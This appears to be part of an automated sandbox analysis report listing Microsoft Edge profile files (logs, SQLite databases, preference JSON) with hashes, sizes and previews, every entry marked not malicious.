SHA-256:	8702F7350FEEDE68D9D086AB30C01B3E9C4B4783AC92719749E51E78B470C438
SHA-512:	B127A75743E43967FFD496EC6D0FECA3C1CB065A5C0D74A163CE991EDD7CA71CAB5F3DA290C9BBEDD8910B47414D4F547EF516A445B9CED207C6E56EDAD59CBF
Malicious:	false
Preview:	2024/11/22-17:06:41.939 1d00 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/22-17:06:41.941 1d00 Recovering log #3.2024/11/22-17:06:41.944 1d00 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.213305052180817
Encrypted:	false
SSDEEP:	12:7cfv4YebvqBZFUt8IcB/+IcS5LYebvqBaJ:Yn4Yebvyg8h6cLYebvL
MD5:	421835D63A1DE9F21127C4523BD20118
SHA1:	2F31F9655239FFBC1DA3F8921EA596F84EE8E500
SHA-256:	8702F7350FEEDE68D9D086AB30C01B3E9C4B4783AC92719749E51E78B470C438
SHA-512:	B127A75743E43967FFD496EC6D0FECA3C1CB065A5C0D74A163CE991EDD7CA71CAB5F3DA290C9BBEDD8910B47414D4F547EF516A445B9CED207C6E56EDAD59CBF
Malicious:	false
Preview:	2024/11/22-17:06:41.939 1d00 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/22-17:06:41.941 1d00 Recovering log #3.2024/11/22-17:06:41.944 1d00 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.1730785566544135
Encrypted:	false
SSDEEP:	6:HdYM+q2P923oH+TcwtpIFUt8Yd0EXZmw+YLKpMVkwO923oH+Tcwta/WLJ:mM+v4YebmFUt8pEX/+pMV5LYebaUJ
MD5:	DD317E515AD6D7116551BECBA9A07588
SHA1:	2DFEC090E78739B391B6029E1857C8AEB533CCC3
SHA-256:	44664CC29987BF4837CD08ADB7210367EE26D34A0BC1073EC4EFD4D717166A02
SHA-512:	03C81EC108696682654AAB1D0582E4A5362D8FE2FF5FDECAF1189EC55FBF6E9232C916A21669DED476EBD0F68F82D7A9A2E6C3A77812588EEF2007213DF73D2C
Malicious:	false
Preview:	2024/11/22-17:06:22.817 1c8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/22-17:06:22.819 1c8c Recovering log #3.2024/11/22-17:06:22.820 1c8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.1730785566544135
Encrypted:	false
SSDEEP:	6:HdYM+q2P923oH+TcwtpIFUt8Yd0EXZmw+YLKpMVkwO923oH+Tcwta/WLJ:mM+v4YebmFUt8pEX/+pMV5LYebaUJ
MD5:	DD317E515AD6D7116551BECBA9A07588
SHA1:	2DFEC090E78739B391B6029E1857C8AEB533CCC3
SHA-256:	44664CC29987BF4837CD08ADB7210367EE26D34A0BC1073EC4EFD4D717166A02
SHA-512:	03C81EC108696682654AAB1D0582E4A5362D8FE2FF5FDECAF1189EC55FBF6E9232C916A21669DED476EBD0F68F82D7A9A2E6C3A77812588EEF2007213DF73D2C
Malicious:	false
Preview:	2024/11/22-17:06:22.817 1c8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/22-17:06:22.819 1c8c Recovering log #3.2024/11/22-17:06:22.820 1c8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2651553538955773
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMKSAELyKOMq+8yC8F/YfU5m+OlTLVum6:Bq+n0JK9ELyKOMq+8y9/Ow5
MD5:	8BAC6AF42384BC60186B48A6C1B18562
SHA1:	3DEF39245339711C8482DD4099BFD2017D9FCC3E
SHA-256:	1AB0C16421D33CB70DEB37E3CE28564ACD3C7FE6D9B279B17460CADE61A275BB
SHA-512:	8E295CCCB9B4870D90DD078BFA99BB47B7582F888DFED61A0566525C05407F50CBEFB4C435070F57ED6F0DD38F254C3BACBAB2489F71D912C11C782CA5BA768B
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46669332981349543
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB03+:v7doKsKuKZKlZNmu46yjx0O
MD5:	F79E85576569754CFE8F3C8F016C5CB0
SHA1:	25DC4C592F5D08B857552A1CFA6232C302B6D1F7
SHA-256:	F86896163DBCE5BC97535EAE080555B4BE18A227522A44C1E8831A5FCFE7CB39
SHA-512:	6447E38BAE4FCD28A0D481802A9ED563E9AC7B96A49A4A46B8279157EF1804D56B8AFD6F36F34BF464398B0BFB26256176BB418465D90CB83F0ACFFA4428E4C2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b73400d3-96ce-4972-9ea5-7304ab6e342e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17505), with no line terminators
Category:	dropped
Size (bytes):	17507
Entropy (8bit):	5.487053717323977
Encrypted:	false
SSDEEP:	384:stcPGQSu4TsdDfhyTcAi4bGDQwl6WIlaTYV:sCOXu9Df6bG8SOaTYV
MD5:	9726B1BCA5F07BDCB7788BE7E4122610
SHA1:	B0FE0BB8EFD9A3E5EBA24DA035A0A876EFCA0263
SHA-256:	031792E328B1C4BBD85DB30AAA8275A4770D48A1A55ADFC8D5F27038F7CC430F
SHA-512:	4AC0B29BA5818D4DA59D726CBC60A3B67FC661B236EE73E7BD4573E19A2F37BAB4D3E871EB24F7CE5E2F18E1E49A5910B92DE66E35A28B0D84D81FA74B0F8BCF
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376786783423997","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\cdaeb3c2-524d-407c-95da-02b7e02c3235.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ef3b6f94-79d4-4602-945c-70e7da77fa8b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.1026374718347056
Encrypted:	false
SSDEEP:	12:+8/x8/GspEjVl/PnnnnnnnnnnnvoQ/Eou:+YyoPnnnnnnnnnnnv1j
MD5:	FD70D58DCFDDB41A7FFE40DE06237F01
SHA1:	A298038750CF4101DA8419C53758390DF69B2529
SHA-256:	EB96BCEC426B06A6C6D9CD8FDDEC847914D7F3624074956A7CC0D928C91FC9D1
SHA-512:	D58DAA4192B6FEC5B650E704A87E0BB1D84CFC6D84BC95A59DF1C09CFEEBA4C3B33E2C0B3E9298644104BD15C7BB9089AE1B3AFF7537FF98A7F9EBE4A1D82DAB
Malicious:	false
Preview:	..-.............M........L-X...4..}...G...Zz...-.............M........L-X...4..}...G...Zz.........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8898367316810547
Encrypted:	false
SSDEEP:	384:G2wMEj0YubDiJBzRH9cagRZL6vGfifEL1zi6v8uyJyZzysyZ3yqxy5Y:3alHMjuDJz
MD5:	1E1888A2C8390E87C2BD7EBAE14648DE
SHA1:	BF52918A28068216E3896EA5DF7F65D377A45B61
SHA-256:	647DAA535DF79002C8A70129FF4616BE3C32A1EB6A213B4640A4BB796ACF5B94
SHA-512:	BD9B5B4C3B9ECD55E28990746A6888F307F9345C7C9B55A3BC6CE24775C7F645E263B8AF2A3DCD0CBA1186B480B805E8D5D9129AB31814B561C0AFFD4C4999B7
Malicious:	false
Preview:	7....-...........4..}...8.?L.0.........4..}........C.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	628
Entropy (8bit):	3.214036161088079
Encrypted:	false
SSDEEP:	12:Wlc8NOuuuuuuuuuuuuuuuuuuuuuuuPp8G:iDx
MD5:	ADD4C3CD33111D93E7A08C3B889CA06F
SHA1:	4ABFFBA38FA0DBE4C77E3131E0A26D60D5A5776E
SHA-256:	FA10039187C63F2318D1806A487B86C7A4D4084C223CBD9B7A12638C6F51BA94
SHA-512:	C4E386BAD5182A1B97380AB234715D182DD9202733ECE915ED03C850B428121346A887B8320C2A7E914EF61CDF716F392E07C5472A63E030FD659FA457B41580
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............}E..0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.181286286837102
Encrypted:	false
SSDEEP:	6:HFSROq2P923oH+TcwtfrK+IFUt8YFZhZmw+YFZ7kwO923oH+TcwtfrUeLJ:lPv4Yeb23FUt8C7/+CR5LYeb3J
MD5:	FC7563A79F1CF92941076A2645F7F5B5
SHA1:	B910A2FE60B4DB54442D5DFF2D87C90F794E3910
SHA-256:	910BDCC0C78AD575251440F3D39AFC81859C54E4CF9D30D178BF38CA1B78DCC9
SHA-512:	551CB6A02D6E0A4999AAFCADCF3627BB2D9228840AC13175F48B652663BF9B0FBAB2B6900E9E34C8DC7182446B80219071C23AAF77F65AB7DB0C09F0D1EB309F
Malicious:	false
Preview:	2024/11/22-17:06:23.427 1d10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/22-17:06:23.428 1d10 Recovering log #3.2024/11/22-17:06:23.428 1d10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.181286286837102
Encrypted:	false
SSDEEP:	6:HFSROq2P923oH+TcwtfrK+IFUt8YFZhZmw+YFZ7kwO923oH+TcwtfrUeLJ:lPv4Yeb23FUt8C7/+CR5LYeb3J
MD5:	FC7563A79F1CF92941076A2645F7F5B5
SHA1:	B910A2FE60B4DB54442D5DFF2D87C90F794E3910
SHA-256:	910BDCC0C78AD575251440F3D39AFC81859C54E4CF9D30D178BF38CA1B78DCC9
SHA-512:	551CB6A02D6E0A4999AAFCADCF3627BB2D9228840AC13175F48B652663BF9B0FBAB2B6900E9E34C8DC7182446B80219071C23AAF77F65AB7DB0C09F0D1EB309F
Malicious:	false
Preview:	2024/11/22-17:06:23.427 1d10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/22-17:06:23.428 1d10 Recovering log #3.2024/11/22-17:06:23.428 1d10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.165397437270843
Encrypted:	false
SSDEEP:	6:HFoDq2P923oH+TcwtfrzAdIFUt8YFQ9Zmw+YFQPkwO923oH+TcwtfrzILJ:loDv4Yeb9FUt8CQ9/+CQP5LYeb2J
MD5:	E62C609F44C8B33E51E1F049162DDB24
SHA1:	6A3215003E670F2D2BFCB0C0AAFD2114B238FA56
SHA-256:	D244CB0802A4F8CED8AFAD02BB9F0D9A9D63BA2C213C0F72F4C0E7D0E80A80A8
SHA-512:	C424FF7F18D141D3579079B2AC939E3CFC30440E788CA0C8B8EC972AEB8CD63A01938718139FE9045C4E3889ED8C3969D2AF5312024104133824DFF13D4A85F6
Malicious:	false
Preview:	2024/11/22-17:06:23.424 1d10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/22-17:06:23.425 1d10 Recovering log #3.2024/11/22-17:06:23.425 1d10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.165397437270843
Encrypted:	false
SSDEEP:	6:HFoDq2P923oH+TcwtfrzAdIFUt8YFQ9Zmw+YFQPkwO923oH+TcwtfrzILJ:loDv4Yeb9FUt8CQ9/+CQP5LYeb2J
MD5:	E62C609F44C8B33E51E1F049162DDB24
SHA1:	6A3215003E670F2D2BFCB0C0AAFD2114B238FA56
SHA-256:	D244CB0802A4F8CED8AFAD02BB9F0D9A9D63BA2C213C0F72F4C0E7D0E80A80A8
SHA-512:	C424FF7F18D141D3579079B2AC939E3CFC30440E788CA0C8B8EC972AEB8CD63A01938718139FE9045C4E3889ED8C3969D2AF5312024104133824DFF13D4A85F6
Malicious:	false
Preview:	2024/11/22-17:06:23.424 1d10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/22-17:06:23.425 1d10 Recovering log #3.2024/11/22-17:06:23.425 1d10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090767629271059
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMrwuF9hDO6vP6O+Ztbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynET6Utbz8hu3VlXr4CRo1
MD5:	AC1DF53BB926407263D26189A7E78373
SHA1:	BE05BC5F94D97E5ABFE6259D3573434575206490
SHA-256:	3716506D8B050F8F0E47EFFDEE9F5753D1DF4CCD87335789BFADCD278E40F7BE
SHA-512:	056044D42B0CBDE511FFE26B49104C7605DAA736424EF75021ADE5CEC63E2536BC5E22E8CF75A82D5A8B3C61D1E6694E0D520240FB2B0ED8C97F9A91A5497460
Malicious:	false
Preview:	